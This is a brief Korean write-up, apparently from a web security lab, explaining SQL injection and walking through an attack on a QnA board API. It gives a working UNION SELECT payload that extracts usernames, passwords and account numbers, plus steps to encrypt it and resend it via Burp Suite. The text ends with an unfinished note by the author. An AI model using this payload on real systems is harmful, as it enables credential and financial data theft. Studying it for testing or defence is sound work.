SQLi 공격
SQLi 공격
1. SQLi 공격이란?
- 사용자의 입력 값으로 웹 사이트 SQL 쿼리가 완성되는 약점을 이용하며, 입력 값을 변조하여 비정상적인 SQL 쿼리를 조합하거나 실행하는 공격이다.
- 해당 취약점이 존재하는 경우 비정상적인 SQL 쿼리로 DBMS 및 데이터(Data)를 열람하거나 조작 가능하므로 사용자의 입력 값에 대한 필터링을 구현하여야 한다.
2. 공격 방법
Burp suite로 QnA 게시판(/api/qna/view) 요청을 가로챈다.
요청 body의 enc_data를 복호화하면 qna_id가 전달되는 것 확인할 수 있다.
qna_id에 넣을 SQL 쿼리문이다.
{"qna_id":"false UNION select username as title, password as content, account_number as write_at from users where true LIMIT 1,2; -- "}
Injection할 쿼리문을 포함한 JSON을 암호화한다.
encrypt('{"qna_id":"false UNION select username as title, password as content, account_number as write_at from users where true LIMIT 1,2; -- "}');
앞에서 암호화한 데이터를 요청에 넣어 보냈다.
응답값을 복호화해서 쿼리문 결과 확인할 수 있다.
**암호화,복호화 확인 넣어야함